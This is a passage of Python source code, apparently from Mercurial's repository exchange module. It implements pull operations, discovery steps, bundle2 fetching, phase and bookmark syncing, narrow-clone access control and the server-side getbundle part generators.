         # set of common changeset between local and remote before pull
         self.common = None
         # set of pulled head
         self.rheads = None
         # list of missing changeset to fetch remotely
         self.fetch = None
         # remote bookmarks data
         self.remotebookmarks = remotebookmarks
         # result of changegroup pulling (used as return code by pull)
         self.cgresult = None
         # list of step already done
         self.stepsdone = set()
         # Whether we attempted a clone from pre-generated bundles.
         self.clonebundleattempted = False
         # Set of file patterns to include.
         self.includepats = includepats
         # Set of file patterns to exclude.
         self.excludepats = excludepats
         # Number of ancestor changesets to pull from each pulled head.
         self.depth = depth
 
     @util.propertycache
     def pulledsubset(self):
         """heads of the set of changeset target by the pull"""
         # compute target subset
         if self.heads is None:
             # We pulled every thing possible
             # sync on everything common
             c = set(self.common)
             ret = list(self.common)
             for n in self.rheads:
                 if n not in c:
                     ret.append(n)
             return ret
         else:
             # We pulled a specific subset
             # sync on this subset
             return self.heads
 
     @util.propertycache
     def canusebundle2(self):
         return not _forcebundle1(self)
 
     @util.propertycache
     def remotebundle2caps(self):
         return bundle2.bundle2caps(self.remote)
 
     def gettransaction(self):
         # deprecated; talk to trmanager directly
         return self.trmanager.transaction()
 
 
 class transactionmanager(util.transactional):
     """An object to manage the life cycle of a transaction
 
     It creates the transaction on demand and calls the appropriate hooks when
     closing the transaction."""
 
     def __init__(self, repo, source, url):
         self.repo = repo
         self.source = source
         self.url = url
         self._tr = None
 
     def transaction(self):
         """Return an open transaction object, constructing if necessary"""
         if not self._tr:
             trname = b'%s\n%s' % (self.source, util.hidepassword(self.url))
             self._tr = self.repo.transaction(trname)
             self._tr.hookargs[b'source'] = self.source
             self._tr.hookargs[b'url'] = self.url
         return self._tr
 
     def close(self):
         """close transaction if created"""
         if self._tr is not None:
             self._tr.close()
 
     def release(self):
         """release transaction if created"""
         if self._tr is not None:
             self._tr.release()
 
 
 def listkeys(remote, namespace):
     with remote.commandexecutor() as e:
         return e.callcommand(b'listkeys', {b'namespace': namespace}).result()
 
 
 def _fullpullbundle2(repo, pullop):
     # The server may send a partial reply, i.e. when inlining
     # pre-computed bundles. In that case, update the common
     # set based on the results and pull another bundle.
     #
     # There are two indicators that the process is finished:
     # - no changeset has been added, or
     # - all remote heads are known locally.
     # The head check must use the unfiltered view as obsoletion
     # markers can hide heads.
     unfi = repo.unfiltered()
     unficl = unfi.changelog
 
     def headsofdiff(h1, h2):
         """Returns heads(h1 % h2)"""
         res = unfi.set(b'heads(%ln %% %ln)', h1, h2)
         return set(ctx.node() for ctx in res)
 
     def headsofunion(h1, h2):
         """Returns heads((h1 + h2) - null)"""
         res = unfi.set(b'heads((%ln + %ln - null))', h1, h2)
         return set(ctx.node() for ctx in res)
 
     while True:
         old_heads = unficl.heads()
         clstart = len(unficl)
         _pullbundle2(pullop)
         if repository.NARROW_REQUIREMENT in repo.requirements:
             # XXX narrow clones filter the heads on the server side during
             # XXX getbundle and result in partial replies as well.
             # XXX Disable pull bundles in this case as band aid to avoid
             # XXX extra round trips.
             break
         if clstart == len(unficl):
             break
         if all(unficl.hasnode(n) for n in pullop.rheads):
             break
         new_heads = headsofdiff(unficl.heads(), old_heads)
         pullop.common = headsofunion(new_heads, pullop.common)
         pullop.rheads = set(pullop.rheads) - pullop.common
 
 
 def pull(
     repo,
     remote,
     heads=None,
     force=False,
     bookmarks=(),
     opargs=None,
     streamclonerequested=None,
     includepats=None,
     excludepats=None,
     depth=None,
 ):
     """Fetch repository data from a remote.
 
     This is the main function used to retrieve data from a remote repository.
 
     ``repo`` is the local repository to clone into.
     ``remote`` is a peer instance.
     ``heads`` is an iterable of revisions we want to pull. ``None`` (the
     default) means to pull everything from the remote.
     ``bookmarks`` is an iterable of bookmarks requesting to be pulled. By
     default, all remote bookmarks are pulled.
     ``opargs`` are additional keyword arguments to pass to ``pulloperation``
     initialization.
     ``streamclonerequested`` is a boolean indicating whether a "streaming
     clone" is requested. A "streaming clone" is essentially a raw file copy
     of revlogs from the server. This only works when the local repository is
     empty. The default value of ``None`` means to respect the server
     configuration for preferring stream clones.
     ``includepats`` and ``excludepats`` define explicit file patterns to
     include and exclude in storage, respectively. If not defined, narrow
     patterns from the repo instance are used, if available.
     ``depth`` is an integer indicating the DAG depth of history we're
     interested in. If defined, for each revision specified in ``heads``, we
     will fetch up to this many of its ancestors and data associated with them.
 
     Returns the ``pulloperation`` created for this pull.
     """
     if opargs is None:
         opargs = {}
 
     # We allow the narrow patterns to be passed in explicitly to provide more
     # flexibility for API consumers.
     if includepats or excludepats:
         includepats = includepats or set()
         excludepats = excludepats or set()
     else:
         includepats, excludepats = repo.narrowpats
 
     narrowspec.validatepatterns(includepats)
     narrowspec.validatepatterns(excludepats)
 
     pullop = pulloperation(
         repo,
         remote,
         heads,
         force,
         bookmarks=bookmarks,
         streamclonerequested=streamclonerequested,
         includepats=includepats,
         excludepats=excludepats,
         depth=depth,
         **pycompat.strkwargs(opargs)
     )
 
     peerlocal = pullop.remote.local()
     if peerlocal:
         missing = set(peerlocal.requirements) - pullop.repo.supported
         if missing:
             msg = _(
                 b"required features are not"
                 b" supported in the destination:"
                 b" %s"
             ) % (b', '.join(sorted(missing)))
             raise error.Abort(msg)
 
     pullop.trmanager = transactionmanager(repo, b'pull', remote.url())
     wlock = util.nullcontextmanager()
     if not bookmod.bookmarksinstore(repo):
         wlock = repo.wlock()
     with wlock, repo.lock(), pullop.trmanager:
         # Use the modern wire protocol, if available.
         if remote.capable(b'command-changesetdata'):
             exchangev2.pull(pullop)
         else:
             # This should ideally be in _pullbundle2(). However, it needs to run
             # before discovery to avoid extra work.
             _maybeapplyclonebundle(pullop)
             streamclone.maybeperformlegacystreamclone(pullop)
             _pulldiscovery(pullop)
             if pullop.canusebundle2:
                 _fullpullbundle2(repo, pullop)
             _pullchangeset(pullop)
             _pullphase(pullop)
             _pullbookmarks(pullop)
             _pullobsolete(pullop)
 
     # storing remotenames
     if repo.ui.configbool(b'experimental', b'remotenames'):
         logexchange.pullremotenames(repo, remote)
 
     return pullop
 
 
 # list of steps to perform discovery before pull
 pulldiscoveryorder = []
 
 # Mapping between step name and function
 #
 # This exists to help extensions wrap steps if necessary
 pulldiscoverymapping = {}
 
 
 def pulldiscovery(stepname):
     """decorator for function performing discovery before pull
 
     The function is added to the step -> function mapping and appended to the
     list of steps.  Beware that decorated function will be added in order (this
     may matter).
 
     You can only use this decorator for a new step, if you want to wrap a step
     from an extension, change the pulldiscovery dictionary directly."""
 
     def dec(func):
         assert stepname not in pulldiscoverymapping
         pulldiscoverymapping[stepname] = func
         pulldiscoveryorder.append(stepname)
         return func
 
     return dec
 
 
 def _pulldiscovery(pullop):
     """Run all discovery steps"""
     for stepname in pulldiscoveryorder:
         step = pulldiscoverymapping[stepname]
         step(pullop)
 
 
 @pulldiscovery(b'b1:bookmarks')
 def _pullbookmarkbundle1(pullop):
     """fetch bookmark data in bundle1 case
 
     If not using bundle2, we have to fetch bookmarks before changeset
     discovery to reduce the chance and impact of race conditions."""
     if pullop.remotebookmarks is not None:
         return
     if pullop.canusebundle2 and b'listkeys' in pullop.remotebundle2caps:
         # all known bundle2 servers now support listkeys, but lets be nice with
         # new implementation.
         return
     books = listkeys(pullop.remote, b'bookmarks')
     pullop.remotebookmarks = bookmod.unhexlifybookmarks(books)
 
 
 @pulldiscovery(b'changegroup')
 def _pulldiscoverychangegroup(pullop):
     """discovery phase for the pull
 
     Current handle changeset discovery only, will change handle all discovery
     at some point."""
     tmp = discovery.findcommonincoming(
         pullop.repo, pullop.remote, heads=pullop.heads, force=pullop.force
     )
     common, fetch, rheads = tmp
     has_node = pullop.repo.unfiltered().changelog.index.has_node
     if fetch and rheads:
         # If a remote heads is filtered locally, put in back in common.
         #
         # This is a hackish solution to catch most of "common but locally
         # hidden situation".  We do not performs discovery on unfiltered
         # repository because it end up doing a pathological amount of round
         # trip for w huge amount of changeset we do not care about.
         #
         # If a set of such "common but filtered" changeset exist on the server
         # but are not including a remote heads, we'll not be able to detect it,
         scommon = set(common)
         for n in rheads:
             if has_node(n):
                 if n not in scommon:
                     common.append(n)
         if set(rheads).issubset(set(common)):
             fetch = []
     pullop.common = common
     pullop.fetch = fetch
     pullop.rheads = rheads
 
 
 def _pullbundle2(pullop):
     """pull data using bundle2
 
     For now, the only supported data are changegroup."""
     kwargs = {b'bundlecaps': caps20to10(pullop.repo, role=b'client')}
 
     # make ui easier to access
     ui = pullop.repo.ui
 
     # At the moment we don't do stream clones over bundle2. If that is
     # implemented then here's where the check for that will go.
     streaming = streamclone.canperformstreamclone(pullop, bundle2=True)[0]
 
     # declare pull perimeters
     kwargs[b'common'] = pullop.common
     kwargs[b'heads'] = pullop.heads or pullop.rheads
 
     # check server supports narrow and then adding includepats and excludepats
     servernarrow = pullop.remote.capable(wireprototypes.NARROWCAP)
     if servernarrow and pullop.includepats:
         kwargs[b'includepats'] = pullop.includepats
     if servernarrow and pullop.excludepats:
         kwargs[b'excludepats'] = pullop.excludepats
 
     if streaming:
         kwargs[b'cg'] = False
         kwargs[b'stream'] = True
         pullop.stepsdone.add(b'changegroup')
         pullop.stepsdone.add(b'phases')
 
     else:
         # pulling changegroup
         pullop.stepsdone.add(b'changegroup')
 
         kwargs[b'cg'] = pullop.fetch
 
         legacyphase = b'phases' in ui.configlist(b'devel', b'legacy.exchange')
         hasbinaryphase = b'heads' in pullop.remotebundle2caps.get(b'phases', ())
         if not legacyphase and hasbinaryphase:
             kwargs[b'phases'] = True
             pullop.stepsdone.add(b'phases')
 
         if b'listkeys' in pullop.remotebundle2caps:
             if b'phases' not in pullop.stepsdone:
                 kwargs[b'listkeys'] = [b'phases']
 
     bookmarksrequested = False
     legacybookmark = b'bookmarks' in ui.configlist(b'devel', b'legacy.exchange')
     hasbinarybook = b'bookmarks' in pullop.remotebundle2caps
 
     if pullop.remotebookmarks is not None:
         pullop.stepsdone.add(b'request-bookmarks')
 
     if (
         b'request-bookmarks' not in pullop.stepsdone
         and pullop.remotebookmarks is None
         and not legacybookmark
         and hasbinarybook
     ):
         kwargs[b'bookmarks'] = True
         bookmarksrequested = True
 
     if b'listkeys' in pullop.remotebundle2caps:
         if b'request-bookmarks' not in pullop.stepsdone:
             # make sure to always includes bookmark data when migrating
             # `hg incoming --bundle` to using this function.
             pullop.stepsdone.add(b'request-bookmarks')
             kwargs.setdefault(b'listkeys', []).append(b'bookmarks')
 
     # If this is a full pull / clone and the server supports the clone bundles
     # feature, tell the server whether we attempted a clone bundle. The
     # presence of this flag indicates the client supports clone bundles. This
     # will enable the server to treat clients that support clone bundles
     # differently from those that don't.
     if (
         pullop.remote.capable(b'clonebundles')
         and pullop.heads is None
         and list(pullop.common) == [nullid]
     ):
         kwargs[b'cbattempted'] = pullop.clonebundleattempted
 
     if streaming:
         pullop.repo.ui.status(_(b'streaming all changes\n'))
     elif not pullop.fetch:
         pullop.repo.ui.status(_(b"no changes found\n"))
         pullop.cgresult = 0
     else:
         if pullop.heads is None and list(pullop.common) == [nullid]:
             pullop.repo.ui.status(_(b"requesting all changes\n"))
     if obsolete.isenabled(pullop.repo, obsolete.exchangeopt):
         remoteversions = bundle2.obsmarkersversion(pullop.remotebundle2caps)
         if obsolete.commonversion(remoteversions) is not None:
             kwargs[b'obsmarkers'] = True
             pullop.stepsdone.add(b'obsmarkers')
     _pullbundle2extraprepare(pullop, kwargs)
 
     with pullop.remote.commandexecutor() as e:
         args = dict(kwargs)
         args[b'source'] = b'pull'
         bundle = e.callcommand(b'getbundle', args).result()
 
         try:
             op = bundle2.bundleoperation(
                 pullop.repo, pullop.gettransaction, source=b'pull'
             )
             op.modes[b'bookmarks'] = b'records'
             bundle2.processbundle(pullop.repo, bundle, op=op)
         except bundle2.AbortFromPart as exc:
             pullop.repo.ui.status(_(b'remote: abort: %s\n') % exc)
             raise error.Abort(_(b'pull failed on remote'), hint=exc.hint)
         except error.BundleValueError as exc:
             raise error.Abort(_(b'missing support for %s') % exc)
 
     if pullop.fetch:
         pullop.cgresult = bundle2.combinechangegroupresults(op)
 
     # processing phases change
     for namespace, value in op.records[b'listkeys']:
         if namespace == b'phases':
             _pullapplyphases(pullop, value)
 
     # processing bookmark update
     if bookmarksrequested:
         books = {}
         for record in op.records[b'bookmarks']:
             books[record[b'bookmark']] = record[b"node"]
         pullop.remotebookmarks = books
     else:
         for namespace, value in op.records[b'listkeys']:
             if namespace == b'bookmarks':
                 pullop.remotebookmarks = bookmod.unhexlifybookmarks(value)
 
     # bookmark data were either already there or pulled in the bundle
     if pullop.remotebookmarks is not None:
         _pullbookmarks(pullop)
 
 
 def _pullbundle2extraprepare(pullop, kwargs):
     """hook function so that extensions can extend the getbundle call"""
 
 
 def _pullchangeset(pullop):
     """pull changeset from unbundle into the local repo"""
     # We delay the open of the transaction as late as possible so we
     # don't open transaction for nothing or you break future useful
     # rollback call
     if b'changegroup' in pullop.stepsdone:
         return
     pullop.stepsdone.add(b'changegroup')
     if not pullop.fetch:
         pullop.repo.ui.status(_(b"no changes found\n"))
         pullop.cgresult = 0
         return
     tr = pullop.gettransaction()
     if pullop.heads is None and list(pullop.common) == [nullid]:
         pullop.repo.ui.status(_(b"requesting all changes\n"))
     elif pullop.heads is None and pullop.remote.capable(b'changegroupsubset'):
         # issue1320, avoid a race if remote changed after discovery
         pullop.heads = pullop.rheads
 
     if pullop.remote.capable(b'getbundle'):
         # TODO: get bundlecaps from remote
         cg = pullop.remote.getbundle(
             b'pull', common=pullop.common, heads=pullop.heads or pullop.rheads
         )
     elif pullop.heads is None:
         with pullop.remote.commandexecutor() as e:
             cg = e.callcommand(
                 b'changegroup', {b'nodes': pullop.fetch, b'source': b'pull',}
             ).result()
 
     elif not pullop.remote.capable(b'changegroupsubset'):
         raise error.Abort(
             _(
                 b"partial pull cannot be done because "
                 b"other repository doesn't support "
                 b"changegroupsubset."
             )
         )
     else:
         with pullop.remote.commandexecutor() as e:
             cg = e.callcommand(
                 b'changegroupsubset',
                 {
                     b'bases': pullop.fetch,
                     b'heads': pullop.heads,
                     b'source': b'pull',
                 },
             ).result()
 
     bundleop = bundle2.applybundle(
         pullop.repo, cg, tr, b'pull', pullop.remote.url()
     )
     pullop.cgresult = bundle2.combinechangegroupresults(bundleop)
 
 
 def _pullphase(pullop):
     # Get remote phases data from remote
     if b'phases' in pullop.stepsdone:
         return
     remotephases = listkeys(pullop.remote, b'phases')
     _pullapplyphases(pullop, remotephases)
 
 
 def _pullapplyphases(pullop, remotephases):
     """apply phase movement from observed remote state"""
     if b'phases' in pullop.stepsdone:
         return
     pullop.stepsdone.add(b'phases')
     publishing = bool(remotephases.get(b'publishing', False))
     if remotephases and not publishing:
         # remote is new and non-publishing
         pheads, _dr = phases.analyzeremotephases(
             pullop.repo, pullop.pulledsubset, remotephases
         )
         dheads = pullop.pulledsubset
     else:
         # Remote is old or publishing all common changesets
         # should be seen as public
         pheads = pullop.pulledsubset
         dheads = []
     unfi = pullop.repo.unfiltered()
     phase = unfi._phasecache.phase
     rev = unfi.changelog.index.get_rev
     public = phases.public
     draft = phases.draft
 
     # exclude changesets already public locally and update the others
     pheads = [pn for pn in pheads if phase(unfi, rev(pn)) > public]
     if pheads:
         tr = pullop.gettransaction()
         phases.advanceboundary(pullop.repo, tr, public, pheads)
 
     # exclude changesets already draft locally and update the others
     dheads = [pn for pn in dheads if phase(unfi, rev(pn)) > draft]
     if dheads:
         tr = pullop.gettransaction()
         phases.advanceboundary(pullop.repo, tr, draft, dheads)
 
 
 def _pullbookmarks(pullop):
     """process the remote bookmark information to update the local one"""
     if b'bookmarks' in pullop.stepsdone:
         return
     pullop.stepsdone.add(b'bookmarks')
     repo = pullop.repo
     remotebookmarks = pullop.remotebookmarks
     bookmod.updatefromremote(
         repo.ui,
         repo,
         remotebookmarks,
         pullop.remote.url(),
         pullop.gettransaction,
         explicit=pullop.explicitbookmarks,
     )
 
 
 def _pullobsolete(pullop):
     """utility function to pull obsolete markers from a remote
 
     The `gettransaction` is function that return the pull transaction, creating
     one if necessary. We return the transaction to inform the calling code that
     a new transaction have been created (when applicable).
 
     Exists mostly to allow overriding for experimentation purpose"""
     if b'obsmarkers' in pullop.stepsdone:
         return
     pullop.stepsdone.add(b'obsmarkers')
     tr = None
     if obsolete.isenabled(pullop.repo, obsolete.exchangeopt):
         pullop.repo.ui.debug(b'fetching remote obsolete markers\n')
         remoteobs = listkeys(pullop.remote, b'obsolete')
         if b'dump0' in remoteobs:
             tr = pullop.gettransaction()
             markers = []
             for key in sorted(remoteobs, reverse=True):
                 if key.startswith(b'dump'):
                     data = util.b85decode(remoteobs[key])
                     version, newmarks = obsolete._readmarkers(data)
                     markers += newmarks
             if markers:
                 pullop.repo.obsstore.add(tr, markers)
             pullop.repo.invalidatevolatilesets()
     return tr
 
 
 def applynarrowacl(repo, kwargs):
     """Apply narrow fetch access control.
 
     This massages the named arguments for getbundle wire protocol commands
     so requested data is filtered through access control rules.
     """
     ui = repo.ui
     # TODO this assumes existence of HTTP and is a layering violation.
     username = ui.shortuser(ui.environ.get(b'REMOTE_USER') or ui.username())
     user_includes = ui.configlist(
         _NARROWACL_SECTION,
         username + b'.includes',
         ui.configlist(_NARROWACL_SECTION, b'default.includes'),
     )
     user_excludes = ui.configlist(
         _NARROWACL_SECTION,
         username + b'.excludes',
         ui.configlist(_NARROWACL_SECTION, b'default.excludes'),
     )
     if not user_includes:
         raise error.Abort(
             _(b"%s configuration for user %s is empty")
             % (_NARROWACL_SECTION, username)
         )
 
     user_includes = [
         b'path:.' if p == b'*' else b'path:' + p for p in user_includes
     ]
     user_excludes = [
         b'path:.' if p == b'*' else b'path:' + p for p in user_excludes
     ]
 
     req_includes = set(kwargs.get('includepats', []))
     req_excludes = set(kwargs.get('excludepats', []))
 
     req_includes, req_excludes, invalid_includes = narrowspec.restrictpatterns(
         req_includes, req_excludes, user_includes, user_excludes
     )
 
     if invalid_includes:
         raise error.Abort(
             _(b"The following includes are not accessible for %s: %s")
             % (username, stringutil.pprint(invalid_includes))
         )
 
     new_args = {}
     new_args.update(kwargs)
     new_args['narrow'] = True
     new_args['narrow_acl'] = True
     new_args['includepats'] = req_includes
     if req_excludes:
         new_args['excludepats'] = req_excludes
 
     return new_args
 
 
 def _computeellipsis(repo, common, heads, known, match, depth=None):
     """Compute the shape of a narrowed DAG.
 
     Args:
       repo: The repository we're transferring.
       common: The roots of the DAG range we're transferring.
               May be just [nullid], which means all ancestors of heads.
       heads: The heads of the DAG range we're transferring.
       match: The narrowmatcher that allows us to identify relevant changes.
       depth: If not None, only consider nodes to be full nodes if they are at
              most depth changesets away from one of heads.
 
     Returns:
       A tuple of (visitnodes, relevant_nodes, ellipsisroots) where:
 
         visitnodes: The list of nodes (either full or ellipsis) which
                     need to be sent to the client.
         relevant_nodes: The set of changelog nodes which change a file inside
                  the narrowspec. The client needs these as non-ellipsis nodes.
         ellipsisroots: A dict of {rev: parents} that is used in
                        narrowchangegroup to produce ellipsis nodes with the
                        correct parents.
     """
     cl = repo.changelog
     mfl = repo.manifestlog
 
     clrev = cl.rev
 
     commonrevs = {clrev(n) for n in common} | {nullrev}
     headsrevs = {clrev(n) for n in heads}
 
     if depth:
         revdepth = {h: 0 for h in headsrevs}
 
     ellipsisheads = collections.defaultdict(set)
     ellipsisroots = collections.defaultdict(set)
 
     def addroot(head, curchange):
         """Add a root to an ellipsis head, splitting heads with 3 roots."""
         ellipsisroots[head].add(curchange)
         # Recursively split ellipsis heads with 3 roots by finding the
         # roots' youngest common descendant which is an elided merge commit.
         # That descendant takes 2 of the 3 roots as its own, and becomes a
         # root of the head.
         while len(ellipsisroots[head]) > 2:
             child, roots = splithead(head)
             splitroots(head, child, roots)
             head = child  # Recurse in case we just added a 3rd root
 
     def splitroots(head, child, roots):
         ellipsisroots[head].difference_update(roots)
         ellipsisroots[head].add(child)
         ellipsisroots[child].update(roots)
         ellipsisroots[child].discard(child)
 
     def splithead(head):
         r1, r2, r3 = sorted(ellipsisroots[head])
         for nr1, nr2 in ((r2, r3), (r1, r3), (r1, r2)):
             mid = repo.revs(
                 b'sort(merge() & %d::%d & %d::%d, -rev)', nr1, head, nr2, head
             )
             for j in mid:
                 if j == nr2:
                     return nr2, (nr1, nr2)
                 if j not in ellipsisroots or len(ellipsisroots[j]) < 2:
                     return j, (nr1, nr2)
         raise error.Abort(
             _(
                 b'Failed to split up ellipsis node! head: %d, '
                 b'roots: %d %d %d'
             )
             % (head, r1, r2, r3)
         )
 
     missing = list(cl.findmissingrevs(common=commonrevs, heads=headsrevs))
     visit = reversed(missing)
     relevant_nodes = set()
     visitnodes = [cl.node(m) for m in missing]
     required = set(headsrevs) | known
     for rev in visit:
         clrev = cl.changelogrevision(rev)
         ps = [prev for prev in cl.parentrevs(rev) if prev != nullrev]
         if depth is not None:
             curdepth = revdepth[rev]
             for p in ps:
                 revdepth[p] = min(curdepth + 1, revdepth.get(p, depth + 1))
         needed = False
         shallow_enough = depth is None or revdepth[rev] <= depth
         if shallow_enough:
             curmf = mfl[clrev.manifest].read()
             if ps:
                 # We choose to not trust the changed files list in
                 # changesets because it's not always correct. TODO: could
                 # we trust it for the non-merge case?
                 p1mf = mfl[cl.changelogrevision(ps[0]).manifest].read()
                 needed = bool(curmf.diff(p1mf, match))
                 if not needed and len(ps) > 1:
                     # For merge changes, the list of changed files is not
                     # helpful, since we need to emit the merge if a file
                     # in the narrow spec has changed on either side of the
                     # merge. As a result, we do a manifest diff to check.
                     p2mf = mfl[cl.changelogrevision(ps[1]).manifest].read()
                     needed = bool(curmf.diff(p2mf, match))
             else:
                 # For a root node, we need to include the node if any
                 # files in the node match the narrowspec.
                 needed = any(curmf.walk(match))
 
         if needed:
             for head in ellipsisheads[rev]:
                 addroot(head, rev)
             for p in ps:
                 required.add(p)
             relevant_nodes.add(cl.node(rev))
         else:
             if not ps:
                 ps = [nullrev]
             if rev in required:
                 for head in ellipsisheads[rev]:
                     addroot(head, rev)
                 for p in ps:
                     ellipsisheads[p].add(rev)
             else:
                 for p in ps:
                     ellipsisheads[p] |= ellipsisheads[rev]
 
     # add common changesets as roots of their reachable ellipsis heads
     for c in commonrevs:
         for head in ellipsisheads[c]:
             addroot(head, c)
     return visitnodes, relevant_nodes, ellipsisroots
 
 
 def caps20to10(repo, role):
     """return a set with appropriate options to use bundle20 during getbundle"""
     caps = {b'HG20'}
     capsblob = bundle2.encodecaps(bundle2.getrepocaps(repo, role=role))
     caps.add(b'bundle2=' + urlreq.quote(capsblob))
     return caps
 
 
 # List of names of steps to perform for a bundle2 for getbundle, order matters.
 getbundle2partsorder = []
 
 # Mapping between step name and function
 #
 # This exists to help extensions wrap steps if necessary
 getbundle2partsmapping = {}
 
 
 def getbundle2partsgenerator(stepname, idx=None):
     """decorator for function generating bundle2 part for getbundle
 
     The function is added to the step -> function mapping and appended to the
     list of steps.  Beware that decorated functions will be added in order
     (this may matter).
 
     You can only use this decorator for new steps, if you want to wrap a step
     from an extension, attack the getbundle2partsmapping dictionary directly."""
 
     def dec(func):
         assert stepname not in getbundle2partsmapping
         getbundle2partsmapping[stepname] = func
         if idx is None:
             getbundle2partsorder.append(stepname)
         else:
             getbundle2partsorder.insert(idx, stepname)
         return func
 
     return dec
 
 
 def bundle2requested(bundlecaps):
     if bundlecaps is not None:
         return any(cap.startswith(b'HG2') for cap in bundlecaps)
     return False
 
 
 def getbundlechunks(
     repo, source, heads=None, common=None, bundlecaps=None, **kwargs
 ):
     """Return chunks constituting a bundle's raw data.
 
     Could be a bundle HG10 or a bundle HG20 depending on bundlecaps
     passed.
 
     Returns a 2-tuple of a dict with metadata about the generated bundle
     and an iterator over raw chunks (of varying sizes).
     """
     kwargs = pycompat.byteskwargs(kwargs)
     info = {}
     usebundle2 = bundle2requested(bundlecaps)
     # bundle10 case
     if not usebundle2:
         if bundlecaps and not kwargs.get(b'cg', True):
             raise ValueError(
                 _(b'request for bundle10 must include changegroup')
             )
 
         if kwargs:
             raise ValueError(
                 _(b'unsupported getbundle arguments: %s')
                 % b', '.join(sorted(kwargs.keys()))
             )
         outgoing = _computeoutgoing(repo, heads, common)
         info[b'bundleversion'] = 1
         return (
             info,
             changegroup.makestream(
                 repo, outgoing, b'01', source, bundlecaps=bundlecaps
             ),
         )
 
     # bundle20 case
     info[b'bundleversion'] = 2
     b2caps = {}
     for bcaps in bundlecaps:
         if bcaps.startswith(b'bundle2='):
             blob = urlreq.unquote(bcaps[len(b'bundle2=') :])
             b2caps.update(bundle2.decodecaps(blob))
     bundler = bundle2.bundle20(repo.ui, b2caps)
 
     kwargs[b'heads'] = heads
     kwargs[b'common'] = common
 
     for name in getbundle2partsorder:
         func = getbundle2partsmapping[name]
         func(
             bundler,
             repo,
             source,
             bundlecaps=bundlecaps,
             b2caps=b2caps,
             **pycompat.strkwargs(kwargs)
         )
 
     info[b'prefercompressed'] = bundler.prefercompressed
 
     return info, bundler.getchunks()
 
 
 @getbundle2partsgenerator(b'stream2')
 def _getbundlestream2(bundler, repo, *args, **kwargs):
     return bundle2.addpartbundlestream2(bundler, repo, **kwargs)
 
 
 @getbundle2partsgenerator(b'changegroup')
 def _getbundlechangegrouppart(
     bundler,
     repo,
     source,
     bundlecaps=None,
     b2caps=None,
     heads=None,
     common=None,
     **kwargs
 ):
     """add a changegroup part to the requested bundle"""
     if not kwargs.get('cg', True) or not b2caps:
         return
 
     version = b'01'
     cgversions = b2caps.get(b'changegroup')
     if cgversions:  # 3.1 and 3.2 ship with an empty value
         cgversions = [
             v
             for v in cgversions
             if v in changegroup.supportedoutgoingversions(repo)
         ]
         if not cgversions:
             raise error.Abort(_(b'no common changegroup version'))
         version = max(cgversions)
 
     outgoing = _computeoutgoing(repo, heads, common)
     if not outgoing.missing:
         return
 
     if kwargs.get('narrow', False):
         include = sorted(filter(bool, kwargs.get('includepats', [])))
         exclude = sorted(filter(bool, kwargs.get('excludepats', [])))
         matcher = narrowspec.match(repo.root, include=include, exclude=exclude)
     else:
         matcher = None
 
     cgstream = changegroup.makestream(
         repo, outgoing, version, source, bundlecaps=bundlecaps, matcher=matcher
     )
 
     part = bundler.newpart(b'changegroup', data=cgstream)
     if cgversions:
         part.addparam(b'version', version)
 
     part.addparam(b'nbchanges', b'%d' % len(outgoing.missing), mandatory=False)
 
     if b'treemanifest' in repo.requirements:
         part.addparam(b'treemanifest', b'1')
 
     if b'exp-sidedata-flag' in repo.requirements:
         part.addparam(b'exp-sidedata', b'1')
 
     if (
         kwargs.get('narrow', False)
         and kwargs.get('narrow_acl', False)
         and (include or exclude)
     ):
         # this is mandatory because otherwise ACL clients won't work
         narrowspecpart = bundler.newpart(b'Narrow:responsespec')
         narrowspecpart.data = b'%s\0%s' % (
             b'\n'.join(include),
             b'\n'.join(exclude),
         )
 
 
 @getbundle2partsgenerator(b'bookmarks')
 def _getbundlebookmarkpart(
     bundler, repo, source, bundlecaps=None, b2caps=None, **kwargs
 ):
     """add a bookmark part to the requested bundle"""
     if not kwargs.get('bookmarks', False):
         return
     if not b2caps or b'bookmarks' not in b2caps:
         raise error.Abort(_(b'no common bookmarks exchange method'))
     books = bookmod.listbinbookmarks(repo)
     data = bookmod.binaryencode(books)
     if data:
         bundler.newpart(b'bookmarks', data=data)
 
 
 @getbundle2partsgenerator(b'listkeys')
 def _getbundlelistkeysparts(
     bundler, repo, source, bundlecaps=None, b2caps=None, **kwargs
 ):
     """add parts containing listkeys namespaces to the requested bundle"""
     listkeys = kwargs.get('listkeys', ())
     for namespace in listkeys:
         part = bundler.newpart(b'listkeys')
         part.addparam(b'namespace', namespace)
         keys = repo.listkeys(namespace).items()
         part.data = pushkey.encodekeys(keys)
 
 
 @getbundle2partsgenerator(b'obsmarkers')
 def _getbundleobsmarkerpart(
     bundler, repo, source, bundlecaps=None, b2caps=None, heads=None, **kwargs
 ):
     """add an obsolescence markers part to the requested bundle"""
     if kwargs.get('obsmarkers', False):
         if heads is None:
             heads = repo.heads()
         subset = [c.node() for c in repo.set(b'::%ln', heads)]
         markers = repo.obsstore.relevantmarkers(subset)
         markers = obsutil.sortedmarkers(markers)
         bundle2.buildobsmarkerspart(bundler, markers)
 
 
 @getbundle2partsgenerator(b'phases')
 def _getbundlephasespart(
     bundler, repo, source, bundlecaps=None, b2caps=None, heads=None, **kwargs
 ):
     """add phase heads part to the requested bundle"""
     if kwargs.get('phases', False):
         if not b2caps or b'heads' not in b2caps.get(b'phases'):
             raise error.Abort(_(b'no common phases exchange method'))
         if heads is None:
             heads = repo.heads()
 
         headsbyphase = collections.defaultdict(set)
         if repo.publishing():
             headsbyphase[phases.public] = heads
         else:
             # find the appropriate heads to move
 
             phase = repo._phasecache.phase
             node = repo.changelog.node
             rev = repo.changelog.rev
             for h in heads:
                 headsbyphase[phase(repo, rev(h))].add(h)
             seenphases = list(headsbyphase.keys())
 
             # We do not handle anything but public and draft phase for now)
             if seenphases:
                 assert max(seenphases) <= phases.draft
 
             # if client is pulling non-public changesets, we need to find
             # intermediate public heads.
             draftheads = headsbyphase.get(phases.draft, set())
             if draftheads:
                 publicheads = headsbyphase.get(phases.public, set())
 
                 revset = b'heads(only(%ln, %ln) and public())'
                 extraheads = repo.revs(revset, draftheads, publicheads)
                 for r in extraheads:
                     headsbyphase[phases.public].add(node(r))
 
         # transform data in a format used by the encoding function
         phasemapping = []
         for phase in phases.allphases:
             phasemapping.append(sorted(headsbyphase[phase]))
 
         # generate the actual part
         phasedata = phases.binaryencode(phasemapping)
         bundler.newpart(b'phase-heads', data=phasedata)
 
 
 @getbundle2partsgenerator(b'hgtagsfnodes')
 def _getbundletagsfnodes(
     bundler,
     repo,
     source,
     bundlecaps=None,
     b2caps=None,
     heads=None,
     common=None,
     **kwargs
 ):
     """Transfer the .hgtags filenodes mapping.
 
     Only values for heads in this bundle will be transferred.
 
